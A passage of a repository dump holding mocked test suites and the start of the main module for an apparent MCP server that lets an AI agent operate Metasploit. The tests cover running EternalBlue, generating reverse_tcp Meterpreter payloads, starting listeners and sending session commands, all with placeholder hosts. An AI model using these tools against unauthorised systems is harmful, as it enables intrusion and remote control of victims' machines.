self.modules = Mock() 30 | self.core = Mock() 31 | self.sessions = Mock() 32 | self.jobs = Mock() 33 | self.consoles = Mock() 34 | 35 | class MockMsfConsole: 36 | def __init__(self, cid='test-console-id'): 37 | self.cid = cid 38 | 39 | def read(self): 40 | return {'data': 'test output', 'prompt': 'msf6 > ', 'busy': False} 41 | 42 | def write(self, command): 43 | return True 44 | 45 | class MockMsfRpcError(Exception): 46 | pass 47 | 48 | # Patch the MSF modules 49 | sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient 50 | sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole 51 | sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError 52 | 53 | # Import after mocking 54 | from MetasploitMCP import ( 55 | _get_module_object, _set_module_options, initialize_msf_client, 56 | get_msf_client, get_msf_console, run_command_safely, 57 | find_available_port 58 | ) 59 | 60 | 61 | class TestMsfClientFunctions: 62 | """Test MSF client initialization and management functions.""" 63 | 64 | @patch('MetasploitMCP.MSF_PASSWORD', 'test-password') 65 | @patch('MetasploitMCP.MSF_SERVER', '127.0.0.1') 66 | @patch('MetasploitMCP.MSF_PORT_STR', '55553') 67 | @patch('MetasploitMCP.MSF_SSL_STR', 'false') 68 | def test_initialize_msf_client_success(self): 69 | """Test successful MSF client initialization.""" 70 | with patch('MetasploitMCP._msf_client_instance', None): 71 | with patch('MetasploitMCP.MsfRpcClient') as mock_client_class: 72 | mock_client = Mock() 73 | mock_client.core.version = {'version': '6.3.0'} 74 | mock_client_class.return_value = mock_client 75 | 76 | result = initialize_msf_client() 77 | 78 | assert result is mock_client 79 | mock_client_class.assert_called_once_with( 80 | password='test-password', 81 | server='127.0.0.1', 82 | port=55553, 83 | ssl=False 84 | ) 85 | 86 | @patch('MetasploitMCP.MSF_PORT_STR', 'invalid-port') 87 | def test_initialize_msf_client_invalid_port(self): 88 | """Test MSF client initialization with invalid port.""" 89 | with patch('MetasploitMCP._msf_client_instance', None): 90 | with pytest.raises(ValueError, match="Invalid MSF connection parameters"): 91 | initialize_msf_client() 92 | 93 | def test_get_msf_client_not_initialized(self): 94 | """Test get_msf_client when client not initialized.""" 95 | with patch('MetasploitMCP._msf_client_instance', None): 96 | with pytest.raises(ConnectionError, match="not been initialized"): 97 | get_msf_client() 98 | 99 | def test_get_msf_client_initialized(self): 100 | """Test get_msf_client when client is initialized.""" 101 | mock_client = Mock() 102 | with patch('MetasploitMCP._msf_client_instance', mock_client): 103 | result = get_msf_client() 104 | assert result is mock_client 105 | 106 | 107 | class TestGetModuleObject: 108 | """Test the _get_module_object helper function.""" 109 | 110 | @pytest.fixture 111 | def mock_client(self): 112 | """Fixture providing a mock MSF client.""" 113 | client = Mock() 114 | with patch('MetasploitMCP.get_msf_client', return_value=client): 115 | yield client 116 | 117 | @pytest.mark.asyncio 118 | async def test_get_module_object_success(self, mock_client): 119 | """Test successful module object retrieval.""" 120 | mock_module = Mock() 121 | mock_client.modules.use.return_value = mock_module 122 | 123 | result = await _get_module_object('exploit', 'windows/smb/ms17_010_eternalblue') 124 | 125 | assert result is mock_module 126 | mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue') 127 | 128 | @pytest.mark.asyncio 129 | async def test_get_module_object_full_path(self, mock_client): 130 | """Test module object retrieval with full path.""" 131 | mock_module = Mock() 132 | mock_client.modules.use.return_value = mock_module 133 | 134 | result = await _get_module_object('exploit', 'exploit/windows/smb/ms17_010_eternalblue') 135 | 136 | assert result is mock_module 137 | # Should strip the module type prefix 138 | mock_client.modules.use.assert_called_once_with('exploit', 'windows/smb/ms17_010_eternalblue') 139 | 140 | @pytest.mark.asyncio 141 | async def test_get_module_object_not_found(self, mock_client): 142 | """Test module object retrieval when module not found.""" 143 | mock_client.modules.use.side_effect = KeyError("Module not found") 144 | 145 | with pytest.raises(ValueError, match="not found"): 146 | await _get_module_object('exploit', 'nonexistent/module') 147 | 148 | @pytest.mark.asyncio 149 | async def test_get_module_object_msf_error(self, mock_client): 150 | """Test module object retrieval with MSF RPC error.""" 151 | mock_client.modules.use.side_effect = MockMsfRpcError("RPC Error") 152 | 153 | with pytest.raises(MockMsfRpcError, match="RPC Error"): 154 | await _get_module_object('exploit', 'test/module') 155 | 156 | 157 | class TestSetModuleOptions: 158 | """Test the _set_module_options helper function.""" 159 | 160 | @pytest.fixture 161 | def mock_module(self): 162 | """Fixture providing a mock module object.""" 163 | module = Mock() 164 | module.fullname = 'exploit/test/module' 165 | module.__setitem__ = Mock() 166 | return module 167 | 168 | @pytest.mark.asyncio 169 | async def test_set_module_options_basic(self, mock_module): 170 | """Test basic option setting.""" 171 | options = {'RHOSTS': '192.168.1.1', 'RPORT': '80'} 172 | 173 | await _set_module_options(mock_module, options) 174 | 175 | # Should be called twice, once for each option 176 | assert mock_module.__setitem__.call_count == 2 177 | mock_module.__setitem__.assert_any_call('RHOSTS', '192.168.1.1') 178 | mock_module.__setitem__.assert_any_call('RPORT', 80) # Type conversion: '80' -> 80 179 | 180 | @pytest.mark.asyncio 181 | async def test_set_module_options_type_conversion(self, mock_module): 182 | """Test option setting with type conversion.""" 183 | options = { 184 | 'RPORT': '80', # String number -> int 185 | 'SSL': 'true', # String boolean -> bool 186 | 'VERBOSE': 'false', # String boolean -> bool 187 | 'THREADS': '10' # String number -> int 188 | } 189 | 190 | await _set_module_options(mock_module, options) 191 | 192 | # Verify type conversions 193 | calls = mock_module.__setitem__.call_args_list 194 | call_dict = {call[0][0]: call[0][1] for call in calls} 195 | 196 | assert call_dict['RPORT'] == 80 197 | assert call_dict['SSL'] is True 198 | assert call_dict['VERBOSE'] is False 199 | assert call_dict['THREADS'] == 10 200 | 201 | @pytest.mark.asyncio 202 | async def test_set_module_options_error(self, mock_module): 203 | """Test option setting with error.""" 204 | mock_module.__setitem__.side_effect = KeyError("Invalid option") 205 | options = {'INVALID_OPT': 'value'} 206 | 207 | with pytest.raises(ValueError, match="Failed to set option"): 208 | await _set_module_options(mock_module, options) 209 | 210 | 211 | class TestGetMsfConsole: 212 | """Test the get_msf_console context manager.""" 213 | 214 | @pytest.fixture 215 | def mock_client(self): 216 | """Fixture providing a mock MSF client.""" 217 | client = Mock() 218 | with patch('MetasploitMCP.get_msf_client', return_value=client): 219 | yield client 220 | 221 | @pytest.mark.asyncio 222 | async def test_get_msf_console_success(self, mock_client): 223 | """Test successful console creation and cleanup.""" 224 | mock_console = MockMsfConsole('test-console-123') 225 | mock_client.consoles.console.return_value = mock_console 226 | mock_client.consoles.destroy.return_value = 'destroyed' 227 | 228 | # Mock the global client instance for cleanup 229 | with patch('MetasploitMCP._msf_client_instance', mock_client): 230 | async with get_msf_console() as console: 231 | assert console is mock_console 232 | assert console.cid == 'test-console-123' 233 | 234 | # Verify cleanup was called 235 | mock_client.consoles.destroy.assert_called_once_with('test-console-123') 236 | 237 | @pytest.mark.asyncio 238 | async def test_get_msf_console_creation_error(self, mock_client): 239 | """Test console creation error handling.""" 240 | mock_client.consoles.console.side_effect = MockMsfRpcError("Console creation failed") 241 | 242 | with pytest.raises(MockMsfRpcError, match="Console creation failed"): 243 | async with get_msf_console() as console: 244 | pass 245 | 246 | @pytest.mark.asyncio 247 | async def test_get_msf_console_cleanup_error(self, mock_client): 248 | """Test that cleanup errors don't propagate.""" 249 | mock_console = MockMsfConsole('test-console-123') 250 | mock_client.consoles.console.return_value = mock_console 251 | mock_client.consoles.destroy.side_effect = Exception("Cleanup failed") 252 | 253 | # Should not raise exception even if cleanup fails 254 | async with get_msf_console() as console: 255 | assert console is mock_console 256 | 257 | 258 | class TestRunCommandSafely: 259 | """Test the run_command_safely function.""" 260 | 261 | @pytest.fixture 262 | def mock_console(self): 263 | """Fixture providing a mock console.""" 264 | console = Mock() 265 | console.write = Mock() 266 | console.read = Mock() 267 | return console 268 | 269 | @pytest.mark.asyncio 270 | async def test_run_command_safely_basic(self, mock_console): 271 | """Test basic command execution.""" 272 | # Mock console read to return prompt immediately 273 | mock_console.read.return_value = { 274 | 'data': 'command output\n', 275 | 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', 276 | 'busy': False 277 | } 278 | 279 | result = await run_command_safely(mock_console, 'help') 280 | 281 | mock_console.write.assert_called_once_with('help\n') 282 | assert 'command output' in result 283 | 284 | @pytest.mark.asyncio 285 | async def test_run_command_safely_invalid_console(self, mock_console): 286 | """Test command execution with invalid console.""" 287 | # Remove required methods 288 | delattr(mock_console, 'write') 289 | 290 | with pytest.raises(TypeError, match="Unsupported console object"): 291 | await run_command_safely(mock_console, 'help') 292 | 293 | @pytest.mark.asyncio 294 | async def test_run_command_safely_read_error(self, mock_console): 295 | """Test command execution with read error - should timeout gracefully.""" 296 | mock_console.read.side_effect = Exception("Read failed") 297 | 298 | # Should not raise exception, but timeout and return empty result 299 | result = await run_command_safely(mock_console, 'help') 300 | 301 | # Should return empty string after timeout 302 | assert isinstance(result, str) 303 | assert result == "" # Empty result after timeout 304 | 305 | 306 | class TestFindAvailablePort: 307 | """Test the find_available_port utility function.""" 308 | 309 | def test_find_available_port_success(self): 310 | """Test finding an available port.""" 311 | # This should succeed as it tests real socket binding 312 | port = find_available_port(8080, max_attempts=5) 313 | assert isinstance(port, int) 314 | assert 8080 <= port < 8085 315 | 316 | @patch('socket.socket') 317 | def test_find_available_port_all_busy(self, mock_socket_class): 318 | """Test when all ports in range are busy.""" 319 | mock_socket = Mock() 320 | mock_socket_class.return_value.__enter__.return_value = mock_socket 321 | mock_socket.bind.side_effect = OSError("Port in use") 322 | 323 | # Should return the start port as fallback 324 | port = find_available_port(8080, max_attempts=3) 325 | assert port == 8080 326 | 327 | @patch('socket.socket') 328 | def test_find_available_port_second_attempt(self, mock_socket_class): 329 | """Test finding port on second attempt.""" 330 | mock_socket = Mock() 331 | mock_socket_class.return_value.__enter__.return_value = mock_socket 332 | 333 | # First call fails, second succeeds 334 | mock_socket.bind.side_effect = [OSError("Port in use"), None] 335 | 336 | port = find_available_port(8080, max_attempts=3) 337 | assert port == 8081 338 | 339 | 340 | if __name__ == "__main__": 341 | pytest.main([__file__, "-v"]) 342 | ``` -------------------------------------------------------------------------------- /tests/test_tools_integration.py: -------------------------------------------------------------------------------- ```python 1 | #!/usr/bin/env python3 2 | """ 3 | Integration tests for MCP tools in MetasploitMCP. 4 | These tests mock the Metasploit backend but test the full tool workflows. 5 | """ 6 | 7 | import pytest 8 | import sys 9 | import os 10 | import asyncio 11 | from unittest.mock import Mock, patch, AsyncMock, MagicMock 12 | from typing import Dict, Any 13 | 14 | # Add the parent directory to the path to import MetasploitMCP 15 | sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) 16 | 17 | # Mock the dependencies that aren't available in test environment 18 | sys.modules['uvicorn'] = Mock() 19 | sys.modules['fastapi'] = Mock() 20 | sys.modules['starlette.applications'] = Mock() 21 | sys.modules['starlette.routing'] = Mock() 22 | 23 | # Create a special mock for FastMCP that preserves the tool decorator behavior 24 | class MockFastMCP: 25 | def __init__(self, *args, **kwargs): 26 | pass 27 | 28 | def tool(self): 29 | # Return a decorator that just returns the original function 30 | def decorator(func): 31 | return func 32 | return decorator 33 | 34 | # Mock the MCP modules with our custom FastMCP 35 | mcp_server_fastmcp = Mock() 36 | mcp_server_fastmcp.FastMCP = MockFastMCP 37 | sys.modules['mcp.server.fastmcp'] = mcp_server_fastmcp 38 | sys.modules['mcp.server.sse'] = Mock() 39 | sys.modules['mcp.server.session'] = Mock() 40 | 41 | # Mock pymetasploit3 module 42 | sys.modules['pymetasploit3.msfrpc'] = Mock() 43 | 44 | # Create comprehensive mock classes 45 | class MockMsfRpcClient: 46 | def __init__(self): 47 | self.modules = Mock() 48 | self.core = Mock() 49 | self.sessions = Mock() 50 | self.jobs = Mock() 51 | self.consoles = Mock() 52 | 53 | # Setup default behaviors 54 | self.core.version = {'version': '6.3.0'} 55 | # These are properties that return lists 56 | self.modules.exploits = ['windows/smb/ms17_010_eternalblue', 'unix/ftp/vsftpd_234_backdoor'] 57 | self.modules.payloads = ['windows/meterpreter/reverse_tcp', 'linux/x86/shell/reverse_tcp'] 58 | # These are methods that return dicts 59 | self.sessions.list = Mock(return_value={}) 60 | self.jobs.list = Mock(return_value={}) 61 | 62 | class MockMsfConsole: 63 | def __init__(self, cid='test-console-id'): 64 | self.cid = cid 65 | self._command_history = [] 66 | 67 | def read(self): 68 | return {'data': 'msf6 > ', 'prompt': '\x01\x02msf6\x01\x02 \x01\x02> \x01\x02', 'busy': False} 69 | 70 | def write(self, command): 71 | self._command_history.append(command.strip()) 72 | return True 73 | 74 | class MockMsfModule: 75 | def __init__(self, fullname): 76 | self.fullname = fullname 77 | self.options = {} 78 | # Create a proper mock for runoptions that supports __setitem__ 79 | self.runoptions = {} 80 | self.missing_required = [] 81 | 82 | def __setitem__(self, key, value): 83 | self.options[key] = value 84 | 85 | def execute(self, payload=None): 86 | return { 87 | 'job_id': 1234, 88 | 'uuid': 'test-uuid-123', 89 | 'error': False 90 | } 91 | 92 | def payload_generate(self): 93 | return b"test_payload_bytes" 94 | 95 | class MockMsfRpcError(Exception): 96 | pass 97 | 98 | # Apply mocks 99 | sys.modules['pymetasploit3.msfrpc'].MsfRpcClient = MockMsfRpcClient 100 | sys.modules['pymetasploit3.msfrpc'].MsfConsole = MockMsfConsole 101 | sys.modules['pymetasploit3.msfrpc'].MsfRpcError = MockMsfRpcError 102 | 103 | # Import the module and then get the actual functions 104 | import MetasploitMCP 105 | 106 | # Get the actual functions (not mocked) 107 | list_exploits = MetasploitMCP.list_exploits 108 | list_payloads = MetasploitMCP.list_payloads 109 | generate_payload = MetasploitMCP.generate_payload 110 | run_exploit = MetasploitMCP.run_exploit 111 | run_post_module = MetasploitMCP.run_post_module 112 | run_auxiliary_module = MetasploitMCP.run_auxiliary_module 113 | list_active_sessions = MetasploitMCP.list_active_sessions 114 | send_session_command = MetasploitMCP.send_session_command 115 | start_listener = MetasploitMCP.start_listener 116 | stop_job = MetasploitMCP.stop_job 117 | terminate_session = MetasploitMCP.terminate_session 118 | 119 | 120 | class TestExploitListingTools: 121 | """Test tools for listing exploits and payloads.""" 122 | 123 | @pytest.fixture 124 | def mock_client(self): 125 | """Fixture providing a mock MSF client.""" 126 | client = MockMsfRpcClient() 127 | with patch('MetasploitMCP.get_msf_client', return_value=client): 128 | yield client 129 | 130 | @pytest.mark.asyncio 131 | async def test_list_exploits_no_filter(self, mock_client): 132 | """Test listing exploits without filter.""" 133 | mock_client.modules.exploits = [ 134 | 'windows/smb/ms17_010_eternalblue', 135 | 'unix/ftp/vsftpd_234_backdoor', 136 | 'windows/http/iis_webdav_upload_asp' 137 | ] 138 | 139 | result = await list_exploits() 140 | 141 | assert isinstance(result, list) 142 | assert len(result) == 3 143 | assert 'windows/smb/ms17_010_eternalblue' in result 144 | 145 | @pytest.mark.asyncio 146 | async def test_list_exploits_with_filter(self, mock_client): 147 | """Test listing exploits with search term.""" 148 | mock_client.modules.exploits = [ 149 | 'windows/smb/ms17_010_eternalblue', 150 | 'unix/ftp/vsftpd_234_backdoor', 151 | 'windows/smb/ms08_067_netapi' 152 | ] 153 | 154 | result = await list_exploits("smb") 155 | 156 | assert isinstance(result, list) 157 | assert len(result) == 2 158 | assert all('smb' in exploit.lower() for exploit in result) 159 | 160 | @pytest.mark.asyncio 161 | async def test_list_exploits_error(self, mock_client): 162 | """Test listing exploits with MSF error.""" 163 | mock_client.modules.exploits = Mock(side_effect=MockMsfRpcError("Connection failed")) 164 | 165 | result = await list_exploits() 166 | 167 | assert isinstance(result, list) 168 | assert len(result) == 1 169 | assert "Error" in result[0] 170 | 171 | @pytest.mark.asyncio 172 | async def test_list_exploits_timeout(self, mock_client): 173 | """Test listing exploits with timeout.""" 174 | import asyncio 175 | 176 | def slow_exploits(): 177 | # Simulate a slow response that would timeout 178 | import time 179 | time.sleep(35) # Longer than RPC_CALL_TIMEOUT (30s) 180 | return ['exploit1', 'exploit2'] 181 | 182 | mock_client.modules.exploits = slow_exploits 183 | 184 | result = await list_exploits() 185 | 186 | assert isinstance(result, list) 187 | assert len(result) == 1 188 | assert "Timeout" in result[0] 189 | assert "30" in result[0] # Should mention the timeout duration 190 | 191 | @pytest.mark.asyncio 192 | async def test_list_payloads_no_filter(self, mock_client): 193 | """Test listing payloads without filter.""" 194 | mock_client.modules.payloads = [ 195 | 'windows/meterpreter/reverse_tcp', 196 | 'linux/x86/shell/reverse_tcp', 197 | 'windows/shell/reverse_tcp' 198 | ] 199 | 200 | result = await list_payloads() 201 | 202 | assert isinstance(result, list) 203 | assert len(result) == 3 204 | 205 | @pytest.mark.asyncio 206 | async def test_list_payloads_with_platform_filter(self, mock_client): 207 | """Test listing payloads with platform filter.""" 208 | mock_client.modules.payloads = [ 209 | 'windows/meterpreter/reverse_tcp', 210 | 'linux/x86/shell/reverse_tcp', 211 | 'windows/shell/reverse_tcp' 212 | ] 213 | 214 | result = await list_payloads(platform="windows") 215 | 216 | assert isinstance(result, list) 217 | assert len(result) == 2 218 | assert all('windows' in payload.lower() for payload in result) 219 | 220 | @pytest.mark.asyncio 221 | async def test_list_payloads_with_arch_filter(self, mock_client): 222 | """Test listing payloads with architecture filter.""" 223 | mock_client.modules.payloads = [ 224 | 'windows/meterpreter/reverse_tcp', 225 | 'linux/x86/shell/reverse_tcp', 226 | 'windows/x64/meterpreter/reverse_tcp' 227 | ] 228 | 229 | result = await list_payloads(arch="x86") 230 | 231 | assert isinstance(result, list) 232 | assert len(result) == 1 233 | assert 'x86' in result[0] 234 | 235 | 236 | class TestPayloadGeneration: 237 | """Test payload generation functionality.""" 238 | 239 | @pytest.fixture 240 | def mock_client_and_module(self): 241 | """Fixture providing mocked client and module.""" 242 | client = MockMsfRpcClient() 243 | module = MockMsfModule('payload/windows/meterpreter/reverse_tcp') 244 | 245 | with patch('MetasploitMCP.get_msf_client', return_value=client): 246 | with patch('MetasploitMCP._get_module_object', return_value=module): 247 | with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', '/tmp/test'): 248 | with patch('os.makedirs'): 249 | with patch('builtins.open', create=True) as mock_open: 250 | mock_open.return_value.__enter__.return_value.write = Mock() 251 | yield client, module 252 | 253 | @pytest.mark.asyncio 254 | async def test_generate_payload_dict_options(self, mock_client_and_module): 255 | """Test payload generation with dictionary options.""" 256 | client, module = mock_client_and_module 257 | 258 | options = {"LHOST": "192.168.1.100", "LPORT": 4444} 259 | result = await generate_payload( 260 | payload_type="windows/meterpreter/reverse_tcp", 261 | format_type="exe", 262 | options=options 263 | ) 264 | 265 | assert result["status"] == "success" 266 | assert "server_save_path" in result 267 | assert result["payload_size"] == len(b"test_payload_bytes") 268 | 269 | @pytest.mark.asyncio 270 | async def test_generate_payload_string_options(self, mock_client_and_module): 271 | """Test payload generation with string options.""" 272 | client, module = mock_client_and_module 273 | 274 | options = "LHOST=192.168.1.100,LPORT=4444" 275 | result = await generate_payload( 276 | payload_type="windows/meterpreter/reverse_tcp", 277 | format_type="exe", 278 | options=options 279 | ) 280 | 281 | assert result["status"] == "success" 282 | # Verify the options were parsed correctly 283 | assert module.options["LHOST"] == "192.168.1.100" 284 | assert module.options["LPORT"] == 4444 285 | 286 | @pytest.mark.asyncio 287 | async def test_generate_payload_empty_options(self, mock_client_and_module): 288 | """Test payload generation with empty options.""" 289 | client, module = mock_client_and_module 290 | 291 | result = await generate_payload( 292 | payload_type="windows/meterpreter/reverse_tcp", 293 | format_type="exe", 294 | options={} 295 | ) 296 | 297 | assert result["status"] == "error" 298 | assert "required" in result["message"] 299 | 300 | @pytest.mark.asyncio 301 | async def test_generate_payload_invalid_string_options(self, mock_client_and_module): 302 | """Test payload generation with invalid string options.""" 303 | client, module = mock_client_and_module 304 | 305 | result = await generate_payload( 306 | payload_type="windows/meterpreter/reverse_tcp", 307 | format_type="exe", 308 | options="LHOST192.168.1.100" # Missing equals 309 | ) 310 | 311 | assert result["status"] == "error" 312 | assert "Invalid options format" in result["message"] 313 | 314 | 315 | class TestExploitExecution: 316 | """Test exploit execution functionality.""" 317 | 318 | @pytest.fixture 319 | def mock_exploit_environment(self): 320 | """Fixture providing mocked exploit execution environment.""" 321 | client = MockMsfRpcClient() 322 | module = MockMsfModule('exploit/windows/smb/ms17_010_eternalblue') 323 | 324 | with patch('MetasploitMCP.get_msf_client', return_value=client): 325 | with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: 326 | with patch('MetasploitMCP._execute_module_console') as mock_console: 327 | mock_rpc.return_value = { 328 | "status": "success", 329 | "message": "Exploit executed", 330 | "job_id": 1234, 331 | "session_id": 5678 332 | } 333 | mock_console.return_value = { 334 | "status": "success", 335 | "message": "Exploit executed via console", 336 | "module_output": "Session 1 opened" 337 | } 338 | yield client, mock_rpc, mock_console 339 | 340 | @pytest.mark.asyncio 341 | async def test_run_exploit_dict_payload_options(self, mock_exploit_environment): 342 | """Test exploit execution with dictionary payload options.""" 343 | client, mock_rpc, mock_console = mock_exploit_environment 344 | 345 | result = await run_exploit( 346 | module_name="windows/smb/ms17_010_eternalblue", 347 | options={"RHOSTS": "192.168.1.1"}, 348 | payload_name="windows/meterpreter/reverse_tcp", 349 | payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, 350 | run_as_job=True 351 | ) 352 | 353 | assert result["status"] == "success" 354 | mock_rpc.assert_called_once() 355 | 356 | @pytest.mark.asyncio 357 | async def test_run_exploit_string_payload_options(self, mock_exploit_environment): 358 | """Test exploit execution with string payload options.""" 359 | client, mock_rpc, mock_console = mock_exploit_environment 360 | 361 | result = await run_exploit( 362 | module_name="windows/smb/ms17_010_eternalblue", 363 | options={"RHOSTS": "192.168.1.1"}, 364 | payload_name="windows/meterpreter/reverse_tcp", 365 | payload_options="LHOST=192.168.1.100,LPORT=4444", 366 | run_as_job=True 367 | ) 368 | 369 | assert result["status"] == "success" 370 | # Verify RPC was called with parsed options 371 | call_args = mock_rpc.call_args 372 | payload_spec = call_args[1]['payload_spec'] 373 | assert payload_spec['options']['LHOST'] == "192.168.1.100" 374 | assert payload_spec['options']['LPORT'] == 4444 375 | 376 | @pytest.mark.asyncio 377 | async def test_run_exploit_invalid_payload_options(self, mock_exploit_environment): 378 | """Test exploit execution with invalid payload options.""" 379 | client, mock_rpc, mock_console = mock_exploit_environment 380 | 381 | result = await run_exploit( 382 | module_name="windows/smb/ms17_010_eternalblue", 383 | options={"RHOSTS": "192.168.1.1"}, 384 | payload_name="windows/meterpreter/reverse_tcp", 385 | payload_options="LHOST192.168.1.100", # Invalid format 386 | run_as_job=True 387 | ) 388 | 389 | assert result["status"] == "error" 390 | assert "Invalid payload_options format" in result["message"] 391 | 392 | @pytest.mark.asyncio 393 | async def test_run_exploit_console_mode(self, mock_exploit_environment): 394 | """Test exploit execution in console mode.""" 395 | client, mock_rpc, mock_console = mock_exploit_environment 396 | 397 | result = await run_exploit( 398 | module_name="windows/smb/ms17_010_eternalblue", 399 | options={"RHOSTS": "192.168.1.1"}, 400 | payload_name="windows/meterpreter/reverse_tcp", 401 | payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, 402 | run_as_job=False # Console mode 403 | ) 404 | 405 | assert result["status"] == "success" 406 | mock_console.assert_called_once() 407 | mock_rpc.assert_not_called() 408 | 409 | 410 | class TestSessionManagement: 411 | """Test session management functionality.""" 412 | 413 | @pytest.fixture 414 | def mock_session_environment(self): 415 | """Fixture providing mocked session management environment.""" 416 | client = MockMsfRpcClient() 417 | session = Mock() 418 | session.run_with_output = Mock(return_value="command output") 419 | session.read = Mock(return_value="session data") 420 | session.write = Mock() 421 | session.stop = Mock() 422 | 423 | # Override the default Mock with actual dict return values 424 | client.sessions.list = Mock(return_value={ 425 | "1": {"type": "meterpreter", "info": "Windows session"}, 426 | "2": {"type": "shell", "info": "Linux session"} 427 | }) 428 | client.sessions.session = Mock(return_value=session) 429 | 430 | with patch('MetasploitMCP.get_msf_client', return_value=client): 431 | yield client, session 432 | 433 | @pytest.mark.asyncio 434 | async def test_list_active_sessions(self, mock_session_environment): 435 | """Test listing active sessions.""" 436 | client, session = mock_session_environment 437 | 438 | result = await list_active_sessions() 439 | 440 | assert result["status"] == "success" 441 | assert result["count"] == 2 442 | assert "1" in result["sessions"] 443 | assert "2" in result["sessions"] 444 | 445 | @pytest.mark.asyncio 446 | async def test_send_session_command_meterpreter(self, mock_session_environment): 447 | """Test sending command to Meterpreter session.""" 448 | client, session = mock_session_environment 449 | 450 | result = await send_session_command(1, "sysinfo") 451 | 452 | assert result["status"] == "success" 453 | session.run_with_output.assert_called_once_with("sysinfo") 454 | 455 | @pytest.mark.asyncio 456 | async def test_send_session_command_nonexistent(self, mock_session_environment): 457 | """Test sending command to non-existent session.""" 458 | client, session = mock_session_environment 459 | client.sessions.list.return_value = {} # No sessions 460 | 461 | result = await send_session_command(999, "whoami") 462 | 463 | assert result["status"] == "error" 464 | assert "not found" in result["message"] 465 | 466 | @pytest.mark.asyncio 467 | async def test_terminate_session(self, mock_session_environment): 468 | """Test session termination.""" 469 | client, session = mock_session_environment 470 | 471 | # Mock session disappearing after termination 472 | client.sessions.list.side_effect = [ 473 | {"1": {"type": "meterpreter"}}, # Before termination 474 | {} # After termination 475 | ] 476 | 477 | result = await terminate_session(1) 478 | 479 | assert result["status"] == "success" 480 | session.stop.assert_called_once() 481 | 482 | 483 | class TestListenerManagement: 484 | """Test listener and job management functionality.""" 485 | 486 | @pytest.fixture 487 | def mock_job_environment(self): 488 | """Fixture providing mocked job management environment.""" 489 | client = MockMsfRpcClient() 490 | 491 | # Override the default Mock with actual dict return values 492 | client.jobs.list = Mock(return_value={}) 493 | client.jobs.stop = Mock(return_value="stopped") 494 | 495 | with patch('MetasploitMCP.get_msf_client', return_value=client): 496 | with patch('MetasploitMCP._execute_module_rpc') as mock_rpc: 497 | mock_rpc.return_value = { 498 | "status": "success", 499 | "job_id": 1234, 500 | "message": "Listener started" 501 | } 502 | yield client, mock_rpc 503 | 504 | @pytest.mark.asyncio 505 | async def test_start_listener_dict_options(self, mock_job_environment): 506 | """Test starting listener with dictionary additional options.""" 507 | client, mock_rpc = mock_job_environment 508 | 509 | result = await start_listener( 510 | payload_type="windows/meterpreter/reverse_tcp", 511 | lhost="192.168.1.100", 512 | lport=4444, 513 | additional_options={"ExitOnSession": True} 514 | ) 515 | 516 | assert result["status"] == "success" 517 | assert "job" in result["message"] 518 | 519 | @pytest.mark.asyncio 520 | async def test_start_listener_string_options(self, mock_job_environment): 521 | """Test starting listener with string additional options.""" 522 | client, mock_rpc = mock_job_environment 523 | 524 | result = await start_listener( 525 | payload_type="windows/meterpreter/reverse_tcp", 526 | lhost="192.168.1.100", 527 | lport=4444, 528 | additional_options="ExitOnSession=true,Verbose=false" 529 | ) 530 | 531 | assert result["status"] == "success" 532 | # Verify RPC was called with parsed options 533 | call_args = mock_rpc.call_args 534 | payload_spec = call_args[1]['payload_spec'] 535 | assert payload_spec['options']['ExitOnSession'] is True 536 | assert payload_spec['options']['Verbose'] is False 537 | 538 | @pytest.mark.asyncio 539 | async def test_start_listener_invalid_port(self, mock_job_environment): 540 | """Test starting listener with invalid port.""" 541 | client, mock_rpc = mock_job_environment 542 | 543 | result = await start_listener( 544 | payload_type="windows/meterpreter/reverse_tcp", 545 | lhost="192.168.1.100", 546 | lport=99999 # Invalid port 547 | ) 548 | 549 | assert result["status"] == "error" 550 | assert "Invalid LPORT" in result["message"] 551 | 552 | @pytest.mark.asyncio 553 | async def test_stop_job(self, mock_job_environment): 554 | """Test stopping a job.""" 555 | client, mock_rpc = mock_job_environment 556 | 557 | # Mock job exists before stop, gone after stop 558 | client.jobs.list.side_effect = [ 559 | {"1234": {"name": "Handler Job"}}, # Before stop 560 | {} # After stop 561 | ] 562 | client.jobs.stop.return_value = "stopped" 563 | 564 | result = await stop_job(1234) 565 | 566 | assert result["status"] == "success" 567 | client.jobs.stop.assert_called_once_with("1234") 568 | 569 | 570 | if __name__ == "__main__": 571 | pytest.main([__file__, "-v"]) 572 | ``` -------------------------------------------------------------------------------- /MetasploitMCP.py: -------------------------------------------------------------------------------- ```python 1 | # -*- coding: utf-8 -*- 2 | import asyncio 3 | import base64 4 | import contextlib 5 | import logging 6 | import os 7 | import pathlib 8 | import re 9 | import shlex 10 | import socket 11 | import subprocess 12 | import sys 13 | from datetime import datetime 14 | from typing import Any, Dict, List, Optional, Tuple, Union 15 | 16 | # --- Third-party Libraries --- 17 | import uvicorn 18 | from fastapi import FastAPI, HTTPException, Request, Response 19 | from mcp.server.fastmcp import FastMCP 20 | from mcp.server.sse import SseServerTransport 21 | from pymetasploit3.msfrpc import MsfConsole, MsfRpcClient, MsfRpcError 22 | from starlette.applications import Starlette 23 | from starlette.routing import Mount, Route, Router 24 | 25 | # --- Configuration & Constants --- 26 | 27 | logging.basicConfig( 28 | level=os.environ.get("LOG_LEVEL", "INFO").upper(), 29 | format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' 30 | ) 31 | logger = logging.getLogger("metasploit_mcp_server") 32 | session_shell_type: Dict[str, str] = {} 33 | 34 | # Metasploit Connection Config (from environment variables) 35 | MSF_PASSWORD = os.getenv('MSF_PASSWORD', 'yourpassword') 36 | MSF_SERVER = os.getenv('MSF_SERVER', '127.0.0.1') 37 | MSF_PORT_STR = os.getenv('MSF_PORT', '55553') 38 | MSF_SSL_STR = os.getenv('MSF_SSL', 'false') 39 | PAYLOAD_SAVE_DIR = os.environ.get('PAYLOAD_SAVE_DIR', str(pathlib.Path.home() / "payloads")) 40 | 41 | # Timeouts and Polling Intervals (in seconds) 42 | DEFAULT_CONSOLE_READ_TIMEOUT = 15 # Default for quick console commands 43 | 